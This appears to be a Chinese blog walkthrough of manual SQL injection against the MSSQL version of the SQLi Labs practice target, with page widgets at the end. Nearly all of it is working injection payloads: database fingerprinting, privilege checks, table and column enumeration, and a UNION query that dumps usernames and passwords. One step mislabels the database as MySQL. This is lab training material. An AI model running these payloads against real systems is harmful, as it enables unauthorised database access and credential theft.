MSSQL SQLi Labs 手工注入靶场

less-1

步骤一:判断注入方式 ?id=1' --+

步骤二:判断后台是否是MYSQL数据库

?id=1' and exists(select * from sysobjects) --+

步骤三:查询数据库信息,user回显的dbo表示是最⾼权限,如果是⽤户的名字表示是普通权限

?id=-1' union select 1,user,is_srvrolemember('public'); --+

步骤四:查询表名

第一张表:?id=-1'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1--+

第二张表:?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users')--+

第三张表:?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails')--+

第四张表:?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents')--+

第五章表为空:?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents' and name !='referers')--+

步骤五:显示字段信息

?id=1' having 1=1--

第二个字段 ?id=1' group by id having 1=1--

第三个字段 ?id=1' group by id,username having 1=1--

步骤六:查询字段值

1'order by 3-- //回显正常
1'order by 4-- //回信错误
找出回显值:-1'union select 1,2,3 from users--
得出用户名密:?id=-1'union select 1,username,password from users--
  • 6
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值